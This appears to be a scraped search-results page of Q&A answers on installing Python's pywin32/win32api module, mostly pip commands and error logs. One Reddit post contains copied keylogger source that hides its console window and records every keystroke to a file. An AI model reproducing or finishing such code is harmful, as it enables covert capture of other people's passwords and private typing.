Information provided by @Gord

Since September 2019 pywin32 should be installed via PyPI which ensures that the latest version (currently version 304) is installed. This is done via the pip command

pip install pywin32

If you wish to get an older version the sourceforge link below would probably have the desired version, if not you can use the command, where xxx is the version you require, e.g. 300

pip install pywin32==xxx

This differs to the pip command in another comment and in an old edit of this answer in that pypiwin32 installs an outdated version (namely 223)

Browsing the docs I see no reason for these commands to not work for all python3.x versions, I am unsure on python2.7 and below so you would have to try them and if they do not work then the solutions below will work.


Probably now undesirable solutions but certainly still valid as of September 2019

There is no version of specific version ofwin32api. You have to get the pywin32module which currently cannot be installed via pip. It is only available from this link at the moment.

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/

The install does not take long and it pretty much all done for you. Just make sure to get the right version of it depending on your python version :)


Also it can be installed from this GitHub repository as provided in comments by @Heath

Answer from WhatsThePoint on Stack Overflow
🌐
PyPI
pypi.org › project › pywin32
pywin32 · PyPI
We'd suggest installing from https://packages.msys2.org/base/mingw-w64-python-pywin32 pacman -S mingw-w64-python-pywin32.
      » pip install pywin32
    
Published   Jun 04, 2026
Version   312
Discussions

winapi - Where to find the win32api module for Python? - Stack Overflow
Many Python scripts and examples contain import win32api. However, from the name it is not directly clear what this library is or which library it is part of. What is the win32api module and where can it be found / how can it be installed? More on stackoverflow.com
🌐 stackoverflow.com
Cannot successfully install WIN32API
I had a small utility program written for me and installed on a computer, and now I want to install on another computer. I can program in VB, but I know nothing about Python. pertinent lines of code include: from pywinauto.application import Application, findwindows, wait_until, TimeoutError ... More on discuss.python.org
🌐 discuss.python.org
3
0
October 4, 2022
Installing win32api in python
From the command prompt, try: pip install win32api Also, if you're putting code into your post, use either the code-box (if on full website) or bracket it with three back-ticks (```) which has the same effect. It makes it so much easier to format the code so it's readable 😊. There's a formatting guide in the side-bar on the sub too. More on reddit.com
🌐 r/Python
5
0
November 3, 2019
How to install win32api (Or any other module for that reason)
You can't call your file win32api. In future, pay attention to the traceback; when you import win32api, Python gets your module. You can see the traceback is all in your file. More on reddit.com
🌐 r/learnpython
3
4
January 26, 2016
People also ask

What is the VirtualBox Python win32api error?
The Python win32api error shows up in VirtualBox versions 7.0 and newer. This happens because the Python win32api module is missing from your Windows system. Also, it's part of the Pywin32 package, made for Windows.
🌐
sysnettechsolutions.com
sysnettechsolutions.com › home page › oracle vm virtualbox › how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
Will VirtualBox work if I don't install Python?
Yes, VirtualBox will work well even if you do not add Python Core/win32api to your computer. You do not need this pack for the Oracle program. But if you want to use VBox for more jobs, then you should add Python. In short, if you only use the on-screen buttons for virtual machines, you do not need this pack. However, if you want to do more computer-run jobs past the everyday screen work, you should add Python.
🌐
sysnettechsolutions.com
sysnettechsolutions.com › home page › oracle vm virtualbox › how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
Why is a Python implementation necessary for VirtualBox?
VirtualBox lets us run virtual machines using code. This covers jobs like making a VM, saving its state, and turning it off or stopping it. For better VM control, you need a Python app. This lets you add VBox to your work using the App Talking Link (API).
🌐
sysnettechsolutions.com
sysnettechsolutions.com › home page › oracle vm virtualbox › how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
🌐
Reddit
reddit.com › r/learnpython › how to install win32api?
r/learnpython on Reddit: How to install win32api?
March 18, 2020 -

The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.

What I've tried so far pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32
Collecting pypiwin32
  Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3-
none-any.whl
Collecting pywin32>=223 (from pypiwin32)
  Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32)

pip install pywin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32
Collecting pywin32
  Could not find a version that satisfies the requirement pywin32 (from versions: )
No matching distribution found for pywin32

Several specific versions like pip install pywin32==226:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32==226
Collecting pywin32==226
  Could not find a version that satisfies the requirement pywin32==226 (from versions: )
No matching distribution found for pywin32==226

and pip install pypiwin32==220:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32==220
Collecting pypiwin32==220
  Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223)
No matching distribution found for pypiwin32==220

Even some shot-in-the-dark kind of attempts like pip install win32api:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api
Collecting win32api
  Could not find a version that satisfies the requirement win32api (from versions: )
No matching distribution found for win32api

and python -m pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>python -m pip install pypiwin32
Collecting pypiwin32
  Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3-
none-any.whl
Collecting pywin32>=223 (from pypiwin32)
  Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32)

I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?

🌐
Python.org
discuss.python.org › python help
Cannot successfully install WIN32API - Python Help - Discussions on Python.org
October 4, 2022 - I had a small utility program written for me and installed on a computer, and now I want to install on another computer. I can program in VB, but I know nothing about Python. pertinent lines of code include: from pywinauto.application import Application, findwindows, wait_until, TimeoutError from pywinauto import mouse, keyboard import getpass import os import sys import shutil app_conn = Application(backend="win32") wins = findwindows.find_elements(title=TARGET_APP) # Gets all apps with...
Top answer
1 of 4
36
  1. Start a command line with admin rights.

  2. python -m pip install pywin32

  3. C:\Program Files\Stackless36\Scripts>python pywin32_postinstall.py -install The path C:\Program Files\Stackless36\ should be replaced with the path at which your Python version is installed.

  4. Test (admin rights optional) using python -c "import win32com" or python speak.py

    where speak.py consists of this text:

    import win32com.client
    
    speaker = win32com.client.Dispatch("SAPI.SpVoice")
    speaker.Speak("It works. Hoorah!")
    

Working fine on Python 3.6.4 Stackless 3.1b3 060516 (v3.6.4-slp:9557b2e530, Dec 21 2017, 15:23:10) [MSC v.1900 64 bit (AMD64)] on win32. Vanilla CPython hangs out here:

C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import win32com.client
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'win32com'
>>> exit()

C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe -m pip install pywin32
Collecting pywin32
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/d4/2d/b927e61c4a2b0aaaab72c8cb97cf748c319c399d804293164b0c43380d5f/pywin32-223-cp36-cp36m-win32.whl (8.3MB)
    100% |████████████████████████████████| 8.3MB 50kB/s
Installing collected packages: pywin32
Successfully installed pywin32-223
You are using pip version 9.0.3, however version 10.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.
2 of 4
4

Check sys.path to make sure the directory where the module is installed is in there, otherwise you have to add it (google PYTHONPATH windows for some help with that.)

Find elsewhere
🌐
YouTube
youtube.com › watch
How To Install Python And Win32 API On Windows Fast! - YouTube
🚀 Installing Python Core and Win32 API Step-by-Step! 🐍🖥️Welcome to our tutorial! In this video, we'll walk you through the entire process of installing Py...
Published   May 26, 2025
🌐
Reddit
reddit.com › r/python › installing win32api in python
r/Python on Reddit: Installing win32api in python
November 3, 2019 -

Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Shamelessly used from another site. But when I try to run it this error comes up.

line 3, in <module>

import win32api

ModuleNotFoundError: No module named 'win32api'

🌐
SYSNETTECH Solutions
sysnettechsolutions.com › home page › oracle vm virtualbox › how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
The "Missing Dependencies Python ... installing Python and adding it to your system PATH. Then, open a command prompt as admin and run "py -m pip install pywin32"....
Published   May 1, 2026
🌐
Reddit
reddit.com › r/learnpython › how to install win32api (or any other module for that reason)
r/learnpython on Reddit: How to install win32api (Or any other module for that reason)
January 26, 2016 -

To start off, I am very new to Python and have never installed modules before because up until now I've just been using the standard libraries (math, time, etc.).

So I'm looking into controlling the mouse cursor with Python (for a bot in a game) and come across this thread on Stackoverflow. The top answer there tells me to get a module called pywin32 from here. So I download the latest version (build 218, according to the readme file) and I download the appropriate EXE. Here is my Python info: Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32, so I download this version: pywin32-218.win32-py3.4.exe. After running it, and it telling me that it has installed successfully I try to test it out by using one of the example in that previous Stackoverflow thread (Which I think just makes your cursor move in a circle...?):

import win32api
import time
import math

for i in range(500):
    x = int(500+math.sin(math.pi*i/100)*500)
    y = int(500+math.cos(i)*100)
    win32api.SetCursorPos((x,y))
    time.sleep(.01)

However, when running this, I get this error:

Traceback (most recent call last):
  File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 1, in <module>
    import win32api
  File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 8, in <module>
    win32api.SetCursorPos((x,y))
AttributeError: 'module' object has no attribute 'SetCursorPos'

So with this, I assume it wasn't installed correctly (even though if I just run import win32api I get no error).

I've also tried to check if it is importing correctly using this:

import win32api

print(dir(win32api))
help(win32api)

Which outputs to this:

['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'win32api']
Help on module win32api:

NAME
    win32api

FILE
    c:\users\matthew\documents\programming\python\mouse_control\win32api.py

So I found this thread on Stackoverflow, and in the second answer it says I can install through console, so I try this (in command prompt):

C:\Python34\Scripts>pip install pypiwin32
Requirement already satisfied (use --upgrade to upgrade): pypiwin32 in c:\python
34\lib\site-packages

C:\Python34\Scripts>pip install pypiwin32 --upgrade
Requirement already up-to-date: pypiwin32 in c:\python34\lib\site-packages

But as you can see it says that everyone is installed correctly.

So my question is, how do I get the win32api module to actually work, and import into my program successfully?

Thanks so much for any answers, sorry for the long(ish) post, just wanted to get all the information in there because I've been at this for about two hours, and no amount of searching on Reddit, Google, or Stackoverflow could help me, apparently. If you need more info I'd be happy to provide it!

EDIT: I'm running 64bit Windows 8.1, if it matters.

EDIT 2: Thanks to u/mm_ma_ma I found the solution, which was very simple and a blunder on my part. The file name was the same as win32api, changing it fixed the solution. Thanks so much, guys!

🌐
Delft Stack
delftstack.com › home › howto › python › python win32api
Python Win32api | Delft Stack
February 25, 2025 - By utilizing win32api, developers can create scripts that automate mundane tasks or build complex applications that require more interaction with the underlying operating system. To get started, you’ll need to install the PyWin32 package.
🌐
GitHub
github.com › mhammond › pywin32 › issues › 1399
`import win32api` fails after `pip install pywin32` (ImportError: DLL load failed: The specified module could not be found) · Issue #1399 · mhammond/pywin32
August 29, 2019 - Below I am working in a virtualenv; ... illustrate inside a venv now). ... (pywin32test) C:\Users\WolfgangRichter\Desktop>pip install pywin32 Collecting pywin32 Using cached https://files.pythonhosted......
Author   mhammond
🌐
sqlpey
sqlpey.com › python › solved-how-to-find-and-install-the-win32api-module-for-python
Solved: How to Find and Install the win32api Module for Python
November 23, 2024 - The most straightforward approach to install the win32api module is through the pip package manager. The package you need is called pywin32 . To install, run the following command in your command-line interface: ... This command fetches the latest version of the pywin32 package and installs ...
🌐
VirtualBox
forums.virtualbox.org › board index › general › virtualbox on windows hosts
Where to download win32api.dll for Virtualbox - virtualbox.org
September 21, 2024 - You could simply continue without the Python stuff and everything would work. The message I suspect you're getting is "Installing the Oracle VirtualBox Python bindings requires the Python Core package and the win32api bindings to be installed first." - note that there is no mention here of a .dll file extension.
🌐
Python Forum
python-forum.io › thread-16213.html
How to import win32api and win32con
So I'm trying to import win32api and win32con. So I was researching and I found that I needed pywin32 to do this. So I used pip and installed it but python still said pywin32 was an invalid module. So
🌐
Google Groups
groups.google.com › g › python_inside_maya › c › Iiwz5O7vnHI
python win32api install issues
A) If you are importing into Maya, Python26 has nothing to do with Maya, Maya has it's own interpreter. B) If it is 64 bit, the pywin32/win32com libaraies wont work because they are linked to the 32bit DLLs. Cheers. On Mar 18, 9:56 am, hapgilmore <hapgilm...@hotmail.com> wrote: > I'm attempting to import the win32api module. (Win7 64, Maya 2011) > > 1) Downloaded the installer herehttp://sourceforge.net/projects/pywin32/files/pywin32/Build216/
🌐
GeeksforGeeks
geeksforgeeks.org › installation guide › how-to-install-pywin32-on-windows
How to Install pywin32 on Windows? - GeeksforGeeks
July 23, 2025 - Pywin32 is a Python extension for windows that is used to access Windows API. In this article, we will look into the process of installing Pywin32 on a windows machine.
🌐
KodeKloud
kodekloud.com › devops
Missing Dependencies Python Core / win32api - DevOps - KodeKloud - DevOps Learning Community
October 23, 2022 - Hi Team, When I am trying to install virtualbox, i get the error message as shown in the image below It says Missing Dependencies Python Core / win32api I proceeded with the installation but when I try to run the Ce…
🌐
Edoardovignati
edoardovignati.it › solved-missing-python-core-win32api
[SOLVED] Missing Python core / win32api – Edoardo Vignati
September 27, 2024 - Download and install the latest version of Python. While installing make sure to check “Add Python to PATH”. If you forgot it, you have to manually add the path to Python in the environment variables. Open terminal · Install the win32api with this command: > pip install pywin32 ·